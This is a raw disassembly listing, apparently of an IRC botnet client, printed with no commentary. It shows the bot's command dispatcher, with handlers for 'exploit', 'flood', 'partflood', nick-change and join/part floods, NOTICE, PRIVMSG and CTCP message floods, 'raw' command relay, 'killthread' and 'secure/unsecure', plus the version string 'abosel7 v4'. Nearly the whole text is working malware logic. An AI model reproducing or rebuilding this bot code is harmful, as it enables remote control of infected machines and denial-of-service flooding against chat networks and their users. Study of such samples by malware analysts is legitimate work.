mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4046FB
push esi
call sub_41C159
test ax, ax
pop ecx
jz short loc_4046FB
push esi
call sub_41C159
pop ecx
jmp short loc_404701
; ---------------------------------------------------------------------------
loc_4046FB: ; CODE XREF: sub_401ACD+2C17j
; sub_401ACD+2C23j
mov ax, word_429084
loc_404701: ; CODE XREF: sub_401ACD+2C2Cj
push [ebp+var_88]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
mov [ebp+var_97C], ax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_96C], eax
lea eax, [ebp+var_9FC]
push eax
mov [ebp+var_A00], esi
mov [ebp+var_970], edi
call sub_41C360
movzx eax, [ebp+var_97C]
add esp, 0Ch
push eax
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42BC2C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push edi
push eax
push [ebp+var_88]
push esi
call sub_409869
push ebx
lea eax, [ebp+var_2C4]
push 6
push eax
call sub_40B3BA
add esp, 30h
mov [ebp+var_978], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A00]
push ebx
push eax
push offset dword_40EF1C
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_978]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4047D0
loc_4047BA: ; CODE XREF: sub_401ACD+2D01j
cmp [ebp+var_968], ebx
jnz loc_401F75
push 32h
call near ptr 2670E97h
nop
jmp short loc_4047BA
; ---------------------------------------------------------------------------
loc_4047D0: ; CODE XREF: sub_401ACD+2CEBj
nop
call near ptr 2680972h
push eax
push offset unk_42BBEC
jmp loc_4097CB
; ---------------------------------------------------------------------------
loc_4047E1: ; CODE XREF: sub_401ACD+FA9j
; sub_401ACD+FBEj ...
push edi
push offset aSecure ; "secure"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_404809
push edi
push offset aSec ; "sec"
call sub_41CA50
pop ecx
mov [ebp+var_AA8], ebx
test eax, eax
pop ecx
jnz short loc_404813
loc_404809: ; CODE XREF: sub_401ACD+2D23j
mov [ebp+var_AA8], 1
loc_404813: ; CODE XREF: sub_401ACD+2D3Aj
push [ebp+var_88]
lea eax, [ebp+var_B2C]
push 80h
push eax
call sub_41C360
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_AA8], ebx
mov [ebp+var_B30], eax
mov eax, [ebp+var_4]
mov [ebp+var_AA4], eax
mov eax, [ebp+var_8]
mov [ebp+var_AA0], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_40485A
mov eax, offset aUnsecuring ; "Unsecuring"
loc_40485A: ; CODE XREF: sub_401ACD+2D86j
push eax
push offset dword_42BBB8
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 22h
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_AAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_B30]
push ebx
push eax
push offset sub_41A366
push ebx
push ebx
nop
call near ptr 2680000h
mov ecx, [ebp+var_AAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4048CE
loc_4048B8: ; CODE XREF: sub_401ACD+2DFFj
cmp [ebp+var_A9C], ebx
jnz loc_4082DE
push 32h
nop
call near ptr 2670E97h
jmp short loc_4048B8
; ---------------------------------------------------------------------------
loc_4048CE: ; CODE XREF: sub_401ACD+2DE9j
nop
call near ptr 2680972h
push eax
push offset dword_42BB7C
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_4048DF: ; CODE XREF: sub_401ACD+F7Fj
; sub_401ACD+F94j
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41ABFB
loc_4048F0: ; CODE XREF: sub_401ACD+2A75j
; sub_401ACD+2A8Bj ...
add esp, 0Ch
jmp loc_409644
; ---------------------------------------------------------------------------
loc_4048F8: ; CODE XREF: sub_401ACD+F55j
; sub_401ACD+F6Aj
push offset unk_42BB2C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_404902: ; CODE XREF: sub_401ACD+F2Bj
; sub_401ACD+F40j
push offset aAbosel7V4 ; "abosel7 v4"
push offset dword_42BB1C
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_404911: ; CODE XREF: sub_401ACD+F01j
; sub_401ACD+F16j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404971
push esi
call sub_41C159
cmp eax, ebx
pop ecx
jl short loc_404966
cmp eax, 3
jge short loc_404966
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40495B
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CD50
push eax
call sub_41C266
add esp, 0Ch
mov [esi], bl
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_40495B: ; CODE XREF: sub_401ACD+2E6Dj
push eax
push offset unk_42BAF0
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404966: ; CODE XREF: sub_401ACD+2E58j
; sub_401ACD+2E5Dj
push eax
push offset unk_42BAC4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404971: ; CODE XREF: sub_401ACD+2E4Dj
mov edi, [ebp+arg_18]
xor esi, esi
loc_404976: ; CODE XREF: sub_401ACD+2EC5j
push [ebp+var_90]
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_404999
inc esi
add edi, 80h
cmp esi, 3
jl short loc_404976
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_404999: ; CODE XREF: sub_401ACD+2EB9j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset unk_42CD50
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4049B3: ; CODE XREF: sub_401ACD+ED7j
; sub_401ACD+EECj
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_403446
call sub_40B583
push ebx
nop
call near ptr 77E75CB5h
loc_4049D9: ; CODE XREF: sub_401ACD+19B1j
push offset aGet ; "get"
push edi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404A67
cmp dword_4CF180, ebx
jz short loc_404A01
push offset dword_4CEB60
loc_4049F7: ; CODE XREF: sub_401ACD+2F98j
push offset unk_42BA88
jmp loc_404A97
; ---------------------------------------------------------------------------
loc_404A01: ; CODE XREF: sub_401ACD+2F23j
push 10h
pop eax
mov [ebp+var_2CC], eax
push eax
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2E8]
push eax
push [ebp+arg_4]
nop
call near ptr 71AB157Eh
movzx eax, [ebp+var_2E2]
push eax
movzx eax, [ebp+var_2E3]
push eax
movzx eax, [ebp+var_2E4]
push eax
lea eax, [ebp+var_E24]
push offset aD_D_D_ ; "%d.%d.%d.*"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_E24]
push eax
jmp short loc_4049F7
; ---------------------------------------------------------------------------
loc_404A67: ; CODE XREF: sub_401ACD+2F1Bj
push edi
call dword_4CBA14
cmp eax, 0FFFFFFFFh
push edi
jnz short loc_404A7B
push offset unk_42BA48
jmp short loc_404A97
; ---------------------------------------------------------------------------
loc_404A7B: ; CODE XREF: sub_401ACD+2FA5j
push offset dword_4CEB60
call sub_41C890
pop ecx
mov dword_4CF180, 1
pop ecx
push edi
push offset unk_42BA1C
loc_404A97: ; CODE XREF: sub_401ACD+2F2Fj
; sub_401ACD+2FACj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_40349D
; ---------------------------------------------------------------------------
loc_404AAB: ; CODE XREF: sub_401ACD+199Cj
push [ebp+arg_8]
push offset aExploit ; "exploit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_404BB1
mov eax, [ebp+var_4]
mov esi, 80h
mov [ebp+var_13E8], eax
mov eax, [ebp+var_8]
mov [ebp+var_13E4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13F8], eax
push offset aF ; "#f"
lea eax, [ebp+var_1478]
push esi
push eax
mov [ebp+var_13F0], 1
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_14F8]
push offset aF ; "#f"
push esi
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_1508]
push edi
push 10h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_1508]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42B9E4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 8
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_13EC], eax
lea eax, [ebp+var_2FC]
push eax
lea eax, [ebp+var_1508]
push ebx
push eax
push offset byte_40BB65
push ebx
push ebx
call near ptr 2680000h
nop
mov ecx, [ebp+var_13EC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_404BA0
loc_404B8A: ; CODE XREF: sub_401ACD+30D1j
cmp [ebp+var_13E0], ebx
jnz loc_4081AD
push 32h
nop
call near ptr 2670E97h
jmp short loc_404B8A
; ---------------------------------------------------------------------------
loc_404BA0: ; CODE XREF: sub_401ACD+30BBj
call near ptr 2680972h
nop
push eax
push offset unk_42B9A4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_404BB1: ; CODE XREF: sub_401ACD+2FEFj
push [ebp+arg_8]
push offset aReconnect_in ; "reconnect.in"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8]
push offset aRin ; "rin"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4095B4
push [ebp+arg_8]
push offset aReconnect_in_m ; "reconnect.in.ms"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8]
push offset aRinms ; "rinms"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409570
push [ebp+arg_8]
push offset aFlood ; "flood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4057B7
nop
call near ptr 269083Ah
push eax
call sub_41C2B8
push edi
push offset aLoad ; "load"
call sub_41CA50
add esp, 0Ch
test eax, eax
jnz short loc_404CB7
cmp [ebp+esi+var_80], ebx
jz short loc_404CB7
push [ebp+esi+var_80]
call sub_41C159
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41C159
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417E06
add esp, 0Ch
lea eax, [ebp+var_2C4]
push [ebp+esi+var_84]
push [ebp+esi+var_88]
push [ebp+esi+var_80]
push offset unk_42B93C
push eax
call sub_41C266
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_404CB7
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_404CB7: ; CODE XREF: sub_401ACD+3173j
; sub_401ACD+3179j ...
push edi
push offset dword_42B938
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404D21
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D21
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_47F0]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_47F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404D21: ; CODE XREF: sub_401ACD+31F9j
; sub_401ACD+3204j
push edi
push offset dword_42B920
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404D8B
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404D8B
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_4AF4]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_4AF4]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B90C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404D8B: ; CODE XREF: sub_401ACD+3263j
; sub_401ACD+326Ej
push edi
push offset aNt ; "nt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404DF5
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404DF5
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_48F0]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_48F0]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "notice %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404DF5: ; CODE XREF: sub_401ACD+32CDj
; sub_401ACD+32D8j
push edi
push offset aMode ; "mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404E5F
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_404E5F
push offset asc_42CDC0 ; " "
push offset dword_42B934
push eax
call sub_41843B
push eax
lea eax, [ebp+var_4FF8]
push eax
call sub_41C890
add esp, 14h
lea eax, [ebp+var_4FF8]
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aModeSS ; "mode %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404E5F: ; CODE XREF: sub_401ACD+3337j
; sub_401ACD+3342j
push edi
push offset aJoin ; "join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404E9C
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404E9C
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404E9C: ; CODE XREF: sub_401ACD+33A1j
; sub_401ACD+33ACj
push edi
push offset aPart_0 ; "part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404ED9
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404ED9
push eax
lea eax, [ebp+var_2C4]
push offset aPartS ; "part %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404ED9: ; CODE XREF: sub_401ACD+33DEj
; sub_401ACD+33E9j
push edi
push offset aPartflood ; "partflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404F1B
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz short loc_404F1B
push offset dword_427620
push eax
lea eax, [ebp+var_2C4]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_404F1B: ; CODE XREF: sub_401ACD+341Bj
; sub_401ACD+3426j
push edi
push offset aPnick ; "pnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_404F92
cmp [ebp+esi+var_88], ebx
jz short loc_404F92
nop
call near ptr 269083Ah
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B8]
push edx
push [ebp+esi+var_88]
push offset dword_42B89C
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_17B8]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_404F92: ; CODE XREF: sub_401ACD+345Dj
; sub_401ACD+3466j
push edi
push offset dword_42B888
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4050E9
cmp [ebp+esi+var_88], ebx
jz loc_4050E9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427620
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
nop
call near ptr 2670E97h
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
nop
call near ptr 2670E97h
push offset dword_427620
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 0C8h
idiv ecx
push edx
nop
call near ptr 2670E97h
push offset dword_427620
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPartSS ; "part %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4050E9: ; CODE XREF: sub_401ACD+34D4j
; sub_401ACD+34E1j
push edi
push offset dword_42B884
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405181
cmp [ebp+esi+var_88], ebx
jz short loc_405181
nop
call near ptr 269083Ah
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_2C4]
push edx
push [ebp+esi+var_88]
push offset dword_42B85C
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 24h
loc_405181: ; CODE XREF: sub_401ACD+362Bj
; sub_401ACD+3638j
push edi
push offset aNick_0 ; "nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405289
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jz loc_405289
push eax
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 2670E97h
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 1F4h
idiv ecx
push edx
nop
call near ptr 2670E97h
lea eax, [ebp+var_4BC]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_405289: ; CODE XREF: sub_401ACD+36C3j
; sub_401ACD+36D2j
push edi
push offset aChgnick ; "chgnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4052CE
lea eax, [ebp+var_180C]
push eax
call sub_417E84
pop ecx
lea eax, [ebp+var_180C]
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_4052CE: ; CODE XREF: sub_401ACD+37CBj
push edi
push offset aMsg ; "msg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4053C3
cmp [ebp+esi+var_88], ebx
jz loc_4053C3
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427624
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call near ptr 2670E97h
nop
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
nop
call near ptr 2670E97h
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B924
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4053C3: ; CODE XREF: sub_401ACD+3810j
; sub_401ACD+381Dj
push edi
push offset aNotice_0 ; "notice"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4054B8
cmp [ebp+esi+var_88], ebx
jz loc_4054B8
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push offset dword_427624
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call near ptr 2670E97h
nop
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 384h
idiv ecx
push edx
nop
call near ptr 2670E97h
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_4054B8: ; CODE XREF: sub_401ACD+3905j
; sub_401ACD+3912j
push edi
push offset aCtcp ; "ctcp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4055D9
cmp [ebp+esi+var_88], ebx
jz loc_4055D9
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B814
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 2670E97h
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7FC
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 2670E97h
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7E4
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call near ptr 2670E97h
nop
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset dword_42B7E4
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
loc_4055D9: ; CODE XREF: sub_401ACD+39FAj
; sub_401ACD+3A07j
push edi
push offset aMix ; "mix"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405709
cmp [ebp+esi+var_88], ebx
jz loc_405709
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset aJoinS ; "join %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset dword_42B814
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 10h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 2670E97h
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call near ptr 2670E97h
nop
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
nop
call near ptr 2670E97h
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_405709: ; CODE XREF: sub_401ACD+3B1Bj
; sub_401ACD+3B28j
push edi
push offset aRegister ; "register"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40574D
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_40574D
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj
; sub_401ACD+3C56j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40619B
mov [ebp+arg_18], offset dword_4D4A5C
loc_405769: ; CODE XREF: sub_401ACD+3CC0j
mov eax, [ebp+arg_18]
cmp dword ptr [eax-4], 1
jnz short loc_40577F
mov eax, [eax]
cmp eax, ebx
jbe short loc_40577F
push eax
call dword_4CBA6C
loc_40577F: ; CODE XREF: sub_401ACD+3CA3j
; sub_401ACD+3CA9j
add [ebp+arg_18], 210h
cmp [ebp+arg_18], offset dword_4DB17C
jl short loc_405769
cmp [ebp+var_8], ebx
jnz loc_40619B
push ebx
push [ebp+var_4]
push offset unk_42B784
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_40619B
; ---------------------------------------------------------------------------
loc_4057B7: ; CODE XREF: sub_401ACD+3151j
push [ebp+arg_8]
push offset aNick_0 ; "nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8]
push offset aN ; "n"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8]
push offset aJoin ; "join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409531
push [ebp+arg_8]
push offset aJ ; "j"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409531
push [ebp+arg_8]
push offset aPart_0 ; "part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8]
push offset aPt ; "pt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8]
push offset aRaw ; "raw"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8]
push offset aR ; "r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8]
push offset aKillthread ; "killthread"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8]
push offset aK ; "k"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8]
push offset aC_quit ; "c_quit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8]
push offset aC_q ; "c_q"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8]
push offset aC_rndnick ; "c_rndnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8]
push offset aC_rn ; "c_rn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8]
push offset aPrefix ; "prefix"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8]
push offset aPr ; "pr"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8]
push offset aOpen ; "open"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8]
push offset aO ; "o"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
